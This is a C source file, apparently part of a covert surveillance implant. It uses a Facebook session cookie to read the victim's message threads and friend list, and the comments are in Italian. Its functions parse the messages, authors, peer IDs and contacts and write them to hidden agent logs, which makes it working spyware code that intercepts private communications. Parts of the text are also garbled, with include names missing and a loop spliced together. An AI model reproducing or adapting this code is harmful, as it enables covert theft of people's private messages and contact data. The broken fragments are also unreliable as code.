#include #include #include #include "..\common.h" #include "..\LOG.h" #include "SocialMain.h" #include "NetworkHandler.h" #define FB_THREAD_IDENTIFIER "\\/messages\\/?action=read&tid=" #define FB_THREAD_AUTHOR_IDENTIFIER "class=\\\"authors\\\">" #define FB_THREAD_STATUS_IDENTIFIER "class=\\\"threadRow noDraft " #define FB_MESSAGE_TSTAMP_IDENTIFIER "data-utime=\\\"" #define FB_MESSAGE_BODY_IDENTIFIER "div class=\\\"content noh\\\" id=\\\"" #define FB_MESSAGE_AUTHOR_IDENTIFIER "\\u003C\\/a>\\u003C\\/strong>" #define FB_MESSAGE_SCREEN_NAME_ID "\"id\":\"%s\",\"name\":\"" #define FB_NEW_LINE "\\u003Cbr \\/> " #define FB_POST_FORM_ID "post_form_id\":\"" #define FB_PEER_ID_IDENTIFIER "\"fbid:" #define FB_DTSG_ID "fb_dtsg\":\"" #define FACEBOOK_THREAD_LIMIT 15 #define MAX_FACEBOOK_ACCOUNTS 500 #define FB_INVALID_TSTAMP 0xFFFFFFFF extern BOOL bPM_IMStarted; // variabili per vedere se gli agenti interessati sono attivi extern BOOL bPM_ContactsStarted; extern BOOL DumpContact(HANDLE hfile, DWORD program, WCHAR *name, WCHAR *email, WCHAR *company, WCHAR *addr_home, WCHAR *addr_office, WCHAR *phone_off, WCHAR *phone_mob, WCHAR *phone_hom, WCHAR *skype_name, WCHAR *facebook_page, DWORD flags); extern wchar_t *UTF8_2_UTF16(char *str); // in firefox.cpp typedef struct { char user[48]; DWORD tstamp_lo; DWORD tstamp_hi; } last_tstamp_struct; last_tstamp_struct *last_tstamp_array = NULL; DWORD GetLastFBTstamp(char *user, DWORD *hi_part) { DWORD i; if (hi_part) *hi_part = FB_INVALID_TSTAMP; // Se e' la prima volta che viene chiamato // alloca l'array if (!last_tstamp_array) { last_tstamp_array = (last_tstamp_struct *)calloc(MAX_FACEBOOK_ACCOUNTS, sizeof(last_tstamp_struct)); if (!last_tstamp_array) return FB_INVALID_TSTAMP; Log_RestoreAgentState(PM_SOCIALAGENT_FB, (BYTE *)last_tstamp_array, MAX_FACEBOOK_ACCOUNTS*sizeof(last_tstamp_struct)); } if (!user || !user[0]) return FB_INVALID_TSTAMP; for (i=0; i2000000000 || act_tstamp <= last_tstamp) continue; parser1 = (BYTE *)strstr((char *)parser1, FB_THREAD_AUTHOR_IDENTIFIER); if (!parser1) break; parser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER); parser2 = (BYTE *)strstr((char *)parser1, "\\u003C\\/"); if (!parser2) break; *parser2 = 0; _snprintf_s(peers, sizeof(peers), _TRUNCATE, "%s, %s", screen_name, parser1); parser1 = parser2 + 1; // Pe ogni thread chiede tutti i rispettivi messaggi ret_val = HttpSocialRequest(L"www.facebook.com", L"POST", url, 80, (BYTE *)post_data, strlen(post_data), &r_buffer_inner, &dummy, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) { SAFE_FREE(r_buffer); return ret_val; } // Cerca gli id dei peers parser_inner1 = r_buffer_inner; memset(peers_id, 0, sizeof(peers_id)); me_present = FALSE; for (;;) { parser_inner2 = (BYTE *)strstr((char *)parser_inner1, FB_PEER_ID_IDENTIFIER); if (!parser_inner2) break; parser_inner1 = parser_inner2 + strlen(FB_PEER_ID_IDENTIFIER); parser_inner2 = (BYTE *)strstr((char *)parser_inner1, "\""); if (!parser_inner2) break; *parser_inner2 = 0; if (!strcmp((CHAR *)parser_inner1, user)) me_present = TRUE; if (strlen(peers_id) == 0) _snprintf_s(peers_id, sizeof(peers_id), _TRUNCATE, "%s", parser_inner1); else _snprintf_s(peers_id, sizeof(peers_id), _TRUNCATE, "%s,%s", peers_id, parser_inner1); parser_inner1 = parser_inner2 +1; } if (!me_present) _snprintf_s(peers_id, sizeof(peers_id), _TRUNCATE, "%s,%s", peers_id, user); // Clicla per tutti i messaggi del thread for (;;) { CheckProcessStatus(); parser_inner1 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_TSTAMP_IDENTIFIER); if (!parser_inner1) break; parser_inner1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER); memset(tstamp, 0, sizeof(tstamp)); memcpy(tstamp, parser_inner1, 10); act_tstamp = atoi(tstamp); if (act_tstamp>2000000000 || act_tstamp <= last_tstamp) continue; SetLastFBTstamp(user, act_tstamp, 0); parser_inner2 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_AUTHOR_IDENTIFIER); if (!parser_inner2) break; *parser_inner2 = 0; parser_inner1 = parser_inner2; for (;*(parser_inner1) != '>' && parser_inner1 > r_buffer_inner; parser_inner1--); if (parser_inner1 <= r_buffer_inner) break; parser_inner1++; _snprintf_s(author, sizeof(author), _TRUNCATE, "%s", parser_inner1); parser_inner1--; for (;*(parser_inner1) != '\\' && parser_inner1 > r_buffer_inner; parser_inner1--); if (parser_inner1 <= r_buffer_inner) break; *parser_inner1 = 0; for (;*(parser_inner1) != '=' && parser_inner1 > r_buffer_inner; parser_inner1--); if (parser_inner1 <= r_buffer_inner) break; parser_inner1++; _snprintf_s(author_id, sizeof(author_id), _TRUNCATE, "%s", parser_inner1); parser_inner1 = parser_inner2 + 1; if (!strcmp(author_id, user)) is_incoming = FALSE; else is_incoming = TRUE; // Cicla per tutti i possibili body del messaggio SAFE_FREE(msg_body); msg_body_size = 0; for (;;) { BYTE *tmp_ptr1, *tmp_ptr2; tmp_ptr1 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_BODY_IDENTIFIER); if (!tmp_ptr1) break; // Non ci sono piu' body (c'e' gia' un nuovo timestamp) tmp_ptr2 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_TSTAMP_IDENTIFIER); if (tmp_ptr2 && tmp_ptr2"); if (!parser_inner1) break; parser_inner1 += strlen("p>"); parser_inner2 = (BYTE *)strstr((char *)parser_inner1, "\\u003C\\/p>"); if (!parser_inner2) break; *parser_inner2 = 0; msg_part_size = strlen((char *)parser_inner1); tmp_ptr1 = (BYTE *)realloc(msg_body, msg_body_size + msg_part_size + strlen(FB_NEW_LINE) + sizeof(WCHAR)); if (!tmp_ptr1) break; // Se non e' il primo body, accodiamo un "a capo" if (msg_body) { memcpy(tmp_ptr1 + msg_body_size, FB_NEW_LINE, strlen(FB_NEW_LINE)); msg_body_size += strlen(FB_NEW_LINE); } msg_body = (char *)tmp_ptr1; memcpy(msg_body + msg_body_size, parser_inner1, msg_part_size); msg_body_size += msg_part_size; // Null-termina sempre il messaggio memset(msg_body + msg_body_size, 0, sizeof(WCHAR)); parser_inner1 = parser_inner2 + 1; } // Vede se deve mettersi in pausa o uscire CheckProcessStatus(); if (msg_body) { struct tm tstamp; _gmtime32_s(&tstamp, (__time32_t *)&act_tstamp); tstamp.tm_year += 1900; tstamp.tm_mon++; JsonDecode(msg_body); LogSocialIMMessageA(CHAT_PROGRAM_FACEBOOK, peers, peers_id, author, author_id, msg_body, &tstamp, is_incoming); SAFE_FREE(msg_body); } else break; } SAFE_FREE(r_buffer_inner); } SAFE_FREE(r_buffer); CheckProcessStatus(); return SOCIAL_REQUEST_SUCCESS; } #define FB_CONTACT_IDENTIFIER "\"user\",\"text\":\"" #define FB_CPATH_IDENTIFIER ",\"path\":\"" #define FB_CATEGORY_IDENTIFIER ",\"category\":\"" #define FB_UID_IDENTIFIER "\"uid\":" DWORD HandleFBContacts(char *cookie) { DWORD ret_val; BYTE *r_buffer = NULL; DWORD response_len; char *parser1, *parser2, *parser3; WCHAR fb_request[256]; char user[256]; WCHAR *name_w, *profile_w, *category_w; char contact_name[256]; char profile_path[256]; char category[256]; static BOOL scanned = FALSE; HANDLE hfile; DWORD flags; CheckProcessStatus(); if (!bPM_ContactsStarted) return SOCIAL_REQUEST_NETWORK_PROBLEM; if (scanned) return SOCIAL_REQUEST_SUCCESS; // Identifica l'utente ret_val = HttpSocialRequest(L"www.facebook.com", L"GET", L"/home.php?", 80, NULL, 0, &r_buffer, &response_len, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; parser1 = strstr((char *)r_buffer, "\"user\":\""); if (!parser1) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } parser1 += strlen("\"user\":\""); parser2 = strchr(parser1, '\"'); if (!parser2) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } *parser2=0; _snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1); SAFE_FREE(r_buffer); // Torna utente "0" se non siamo loggati if (!strcmp(user, "0")) return SOCIAL_REQUEST_BAD_COOKIE; // Chiede la lista dei contatti _snwprintf_s(fb_request, sizeof(fb_request)/sizeof(WCHAR), _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", user, user); ret_val = HttpSocialRequest(L"www.facebook.com", L"GET", fb_request, 80, NULL, 0, &r_buffer, &response_len, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; CheckProcessStatus(); parser1 = (char *)r_buffer; hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0); for (;;) { flags = 0; parser1 = strstr(parser1, FB_UID_IDENTIFIER); if (!parser1) break; parser1 += strlen(FB_UID_IDENTIFIER); parser2 = strchr(parser1, ','); if (!parser2) break; *parser2 = NULL; _snprintf_s(profile_path, sizeof(profile_path), _TRUNCATE, "%s", parser1); if (!strcmp(user, parser1)) flags |= CONTACTS_MYACCOUNT; parser1 = parser2 + 1; parser1 = strstr(parser1, FB_CONTACT_IDENTIFIER); if (!parser1) break; parser1 += strlen(FB_CONTACT_IDENTIFIER); parser2 = strchr(parser1, '\"'); if (!parser2) break; *parser2 = NULL; _snprintf_s(contact_name, sizeof(contact_name), _TRUNCATE, "%s", parser1); parser1 = parser2 + 1; parser1 = strstr(parser1, FB_CPATH_IDENTIFIER); if (!parser1) break; parser1 += strlen(FB_CPATH_IDENTIFIER); parser2 = strchr(parser1, '\"'); if (!parser2) break; *parser2 = NULL; //_snprintf_s(profile_path, sizeof(profile_path), _TRUNCATE, "%s", parser1); parser1 = parser2 + 1; // Verifica se c'e' category category[0]=NULL; parser2 = strstr(parser1, FB_CATEGORY_IDENTIFIER); if (parser2) { parser3 = strstr(parser1, FB_CONTACT_IDENTIFIER); if (!parser3 || parser3>parser2) { parser1 = parser2; parser1 += strlen(FB_CATEGORY_IDENTIFIER); parser2 = strchr(parser1, '\"'); if (!parser2) break; *parser2 = NULL; _snprintf_s(category, sizeof(category), _TRUNCATE, "%s", parser1); parser1 = parser2 + 1; } } JsonDecode(contact_name); JsonDecode(profile_path); JsonDecode(category); name_w = UTF8_2_UTF16(contact_name); profile_w = UTF8_2_UTF16(profile_path); category_w = UTF8_2_UTF16(category); if (profile_w[0] == L'/') // Toglie lo / dalla facebook page DumpContact(hfile, CONTACT_SRC_FACEBOOK, name_w, NULL, NULL, category_w, NULL, NULL, NULL, NULL, NULL, profile_w+1, flags); else DumpContact(hfile, CONTACT_SRC_FACEBOOK, name_w, NULL, NULL, category_w, NULL, NULL, NULL, NULL, NULL, profile_w, flags); SAFE_FREE(name_w); SAFE_FREE(profile_w); SAFE_FREE(category_w); } Log_CloseFile(hfile); scanned = TRUE; SAFE_FREE(r_buffer); return SOCIAL_REQUEST_SUCCESS; } .